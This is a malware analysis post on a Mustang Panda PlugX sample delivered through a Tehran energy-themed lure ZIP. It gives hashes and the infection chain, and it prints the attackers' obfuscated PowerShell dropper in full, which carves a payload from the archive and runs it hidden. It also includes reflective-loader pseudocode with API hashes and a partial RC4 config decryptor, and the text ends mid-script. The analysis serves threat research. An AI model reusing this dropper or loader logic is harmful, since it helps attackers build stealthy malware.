PlugX : Mustang Panda APT

0x3obad.github.io · digicat · 6 days ago · research
quality 7/10 · good
0 net
PlugX : Mustang Panda APT | 0x3oBAD PlugX : Mustang Panda APT Contents PlugX : Mustang Panda APT Introduction Mustang Panda is a China-linked advanced persistent threat (APT) group engaged in sustained cyber espionage operations, primarily targeting government entities, diplomatic organizations, and NGOs. The group relies on a consistent toolset that is regularly modified to support campaign-specific objectives while maintaining low detection rates. A core component of this toolset is the PlugX malware family, a modular remote access trojan widely observed in Mustang Panda operations. PlugX is deployed in multiple variants, each customized with embedded configuration data that defines command-and-control infrastructure, communication protocols, and enabled capabilities. Its functionality includes remote command execution, file system manipulation, credential collection, and system surveillance. Sample information Field Value File name Energy_Infrastructure_Situation_Note_Tehran_Province_2026.zip File type ZIP File size 1,477.88 KB First seen 2026-03-17 05:42:13 UTC MD5 06fcc2a56de5acdf1ca1847c79cca9e9 SHA1 0252819a4960c56c28b3f3b27bf91218ffed223a SHA256 de13e4b4368fbe8030622f747aed107d5f6c5fec6e11c31060821a12ed2d6ccd SHA3-384 76f998f12dc7f36c26badac9ca7309c3deb712b283e6f8b5398bd04030b94821558a6d2422b37826dedb7c1cc379a875 Infection chain PlugX infection chain starts with malicious .lnk secretly runs a PowerShell script which drops files on the system and launches legitimate-looking program which side-loads the malicious dll which reads data file and treats it as encrypted shellcode then decrypted in memory into a hidden PlugX DLL payload. Finally, it connects to the C2 server to receive commands and send data. PlugX infection chain ① Stage 1 — LNK file ② Stage 2 — PowerShell script ③ Stage 3 — three files dropped to disk Legitimate .exe Malicious .dll Encrypted .dat ④ Stage 4 — .dat loaded as shellcode ⑤ Stage 5 — in-memory decryption ⑥ Stage 6 — persistence ⑦ Stage 7 — C2 communication Figure(1) PlugX infection chain Technical Summary PowerShell-based payload staging and execution The PowerShell component functions purely as a delivery mechanism, leveraging hidden window execution, obfuscated API usage, and non-standard archive handling. It unpacks and executes secondary components from %LocalAppData% , establishing the initial foothold for the next-stage loader. DLL loader with self-reading and memory staging behavior (eraser.dll / eraserInit) The intermediate DLL acts as a reflective loader that reads itself from disk, extracts embedded payload data, and stages it directly in memory. It avoids static imports entirely and operates as a self-contained execution environment for the final shellcode stage. Dynamic API resolution via PEB traversal All Windows APIs are resolved at runtime by walking the PEB loader structure and parsing export tables manually. This eliminates dependency on the Import Address Table (IAT) and significantly reduces static detection surface. Modified DJB2 API hashing mechanism Function resolution is performed using a customized DJB2 hash variant with altered initialization and accumulation logic. This prevents straightforward hash recovery and complicates automated API name reconstruction. Heavy string and configuration obfuscation API names, module references, and configuration data are stored in encrypted or encoded form and decoded at runtime using layered transformations (XOR, bit masking, and index-dependent operations), obstructing static analysis. Control-flow flattening and state-machine execution model Core logic is implemented using dispatcher-based state machines with opaque constants and junk code insertion, significantly increasing reverse engineering complexity and hindering decompilation accuracy. Thread pool–based shellcode execution (RtlRegisterWait abuse) The final payload is executed via Windows thread pool callbacks using RtlRegisterWait , allowing execution inside worker threads rather than the main process flow. This provides stealthy execution and reduces behavioral detection coverage. Exception handling suppression and anti-interference mechanisms The sample modifies or neutralizes exception handling mechanisms ( SetUnhandledExceptionFilter ) to prevent debugging or external hook interference, strengthening runtime resilience. Command-line aware execution branching Runtime behavior is influenced by command-line parsing ( GetCommandLineW , CommandLineToArgvW ), enabling multiple execution modes. Layered configuration decoding Configuration data undergoes multi-stage decoding, including RC4 decryption followed by additional XOR-based transformations, delaying recovery of operational C2 parameters. Network initialization and C2 setup Winsock and networking APIs are dynamically resolved at runtime. The final configuration reveals HTTPS-based communication over port 443 with redundant C2 entries to ensure resilience and fallback connectivity. Powershell script analysis 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H " $cpufcotu = (ls -Path $Home -Recurse -Include *'Energy_Infrastructure_Situation_Note _Tehran_Province_2026'.zip).FullName $bbbxcti = [System.IO.File]::OpenRead($cpufcotu) $hwgccxmzh = New-Object byte[] $bbbxcti.Length $bbbxcti.Read($hwgccxmzh, 0, $hwgccxmzh.Length) $bbbxcti.Close() $yyjsvord = 795 $oeqjdpk = 'wRi' + 'tEAl' + 'L' + 'bYt' + 'Es' [System.IO.File]::$oeqjdpk( $Env:LocalAppData + '\npbhwucj.lv', $hwgccxmzh[$yyjsvord..($yyjsvord + 1511424 - 1)] ) tar -xvf $Env:LocalAppData\npbhwucj.lv -C $Env:LocalAppData Sleep -Seconds 5 powershell $Env:LocalAppData\1HFJAOT7-21WC-0KRF-50GV-JW8KN1HPZC9K\ErsChk.exe This PowerShell command functions as loader that extracts and executes a concealed payload from within a decoy archive. The script searches the user’s home directory for a ZIP file with a lure-themed name related to energy infrastructure Energy_Infrastructure_Situation_Note _Tehran_Province_2026 , suggesting use in a targeted phishing campaign. Instead of extracting the archive normally, the script reads the file as raw bytes and copies a specific portion starting at a fixed offset. The extracted data is written to disk using an obfuscated method call to avoid signature-based detection $oeqjdpk = 'wRi' + 'tEAl' + 'L' + 'bYt' + 'Es' . The payload is then unpacked into the user’s local application data C:\Users\\AppData\Local\1HFJAOT7-21WC-0KRF-50GV-JW8KN1HPZC9K directory, after which the script pauses likely to evade sandbox analysis before executing a dropped executable. The use of a hidden PowerShell window, combined with staged extraction and execution "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H , demonstrates common defense evasion and loader behavior. Figure(2) Dropped files via PowerShell script in victim machine Payload Extraction Dll side-loading ErsChk.exe is responsible for loading Eraser.dll and call export eraserInit via Dll side-loading technique which abuses the way Windows applications load dynamic-link libraries (DLLs) to execute malicious code by placing a malicious DLL in a location that is searched before the legitimate one. When a trusted application runs, it unknowingly loads the attacker-controlled DLL, resulting in code execution under the context of that legitimate program. Figure(3) ErsChk.exe calling eraserInit export from Eraser.dll Stage Two Payload Analysis The exported function eraserInit acts as a stealthy loader responsible for executing the core malicious payload Eraser.dat through a thread pool–based injection technique by registering in-memory payload buffer as a callback using RtlRegisterWait , associating it with an event object. Once the event is triggered, the payload is executed within a thread pool worker thread , allowing it to run outside the main execution flow and evade traditional monitoring techniques. Figure(4) shellcode execution transfer via thread-pool abuse API hashing The payload implements a custom API resolution mechanism based on a modified DJB2 hashing algorithm to dynamically retrieve function addresses from a loaded DLL module . For each exported function, the loader iterates through the export name table and computes a hash over the ASCII function name using a DJB2 variant initialized with a seed value of 0x1505 . The algorithm applies a multiplicative accumulation step while traversing each character of the export name. 1 hash = char + 0x21 * hash Figure(5) API hash resolving Shellcode loader The shellcode acts as loader to the final payload stage it decrypts it and transfer the execution to it. Figure(6) Shellcode transfers execution to final payload DLL export Finally, the injected DLL decrypted from Eraser.dat embeds a decoy PDF within its overlay section, a technique that aligns with long-standing operational patterns associated with PlugX . Figure(7) Decoy PDF Final Payload Analysis Figure(8) Control Flow Flattening Obfuscation The final payload export acts as Reflective loader implements a full in‑memory PE loader using a flattened state machine and hashed API via ROL‑13 . It reconstructs a PE image in memory, fixes imports/relocations, adjusts protections to RX , and invokes the entry point without using the OS loader. unflattened pseudo code of export 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 int mw_ReflectiveLoader() { base = find_self_base(); if (*(WORD*)base != 0x5A4D) return 0; // "MZ" nt = (IMAGE_NT_HEADERS*)(base + *(DWORD*)(base+0x3C)); if (*(DWORD*)nt != 0x4550) return 0; // "PE" peb = NtCurrentPeb(); // PEB Walking ldr = peb->Ldr; module = ldr->InMemoryOrderModuleList.Flink; // Resolve imports by ROL‑13 hash LoadLibraryA = resolve_by_hash(module, 0xEC0E4E8E); GetProcAddress = resolve_by_hash(module, 0x7C0DFCAA); VirtualAlloc = resolve_by_hash(module, 0x91AFCA54); VirtualProtect = resolve_by_hash(module, 0x7946C61B); VirtualFree = resolve_by_hash(module, 0x030633AC); NtFlushInstructionCache = resolve_by_hash(module, 0x534C0AB8); //Allocate RW memory for image mapped = VirtualAlloc(0,nt->OptionalHeader.SizeOfImage + 0x3C00000,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE); // Copy headers and sections copy_headers(mapped, base, nt->OptionalHeader.SizeOfHeaders); for each section: copy_section(mapped + section.VirtualAddress, base + section.PointerToRawData, section.SizeOfRawData); //Resolve imports import = mapped + nt->OptionalHeader.DataDirectory[IMPORT].VirtualAddress; for each import_desc: dll = LoadLibraryA(mapped + import_desc->Name); thunk = mapped + import_desc->FirstThunk; for each thunk: if (is_ordinal): thunk->Function = GetProcAddress(dll, ordinal); else: thunk->Function = GetProcAddress(dll, name); // Apply relocations if (mapped != nt->OptionalHeader.ImageBase): reloc = mapped + nt->OptionalHeader.DataDirectory[RELOC].VirtualAddress; apply_relocs(reloc, mapped - nt->OptionalHeader.ImageBase); // Set final protections + flush VirtualProtect(mapped, 0xFFFFFFFF, PAGE_EXECUTE_READ, 0); NtFlushInstructionCache((HANDLE)-1, 0, 0); // Call entry point entry = mapped + nt->OptionalHeader.AddressOfEntryPoint; entry(mapped, DLL_PROCESS_ATTACH, 0); entry(mapped, 0x190, 0); return entry; } C2 extraction The configuration embedded within its .data section and extract it via RC4 and rotating XOR key scheme. Figure(9) The configuration blob for RC4 The structure of the encrypted configuration information is : Offset Description Value 0x00 RC4 key length 0xA 0x04 RC4 key oQmKndOskb 0x10 RC4 encrypted data (BYTE[0x8A0]) – RC4 decryption script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import struct import sys def rc4 ( data , key ): s = list ( range ( 256 )) j = 0 for i in range ( 256 ): j = ( j + s [ i ] + key [ i % len ( key )]) & 0xFF s [ i ], s [ j ] = s [ j ], s [ i ] out = bytearray () i = j = 0 for b in data : i = ( i + 1 ) & 0xFF j = ( j + s [ i ]) & 0xFF s [ i ], s [ j ] = s [ j ], s [ i ] out . append ( b ^ s [( s [ i ] + s [ j ]) & 0xFF ]) return bytes ( out ) blob = open ( sys . argv [ 1 ], " rb " ). read () key_len = struct . unpack_from ( "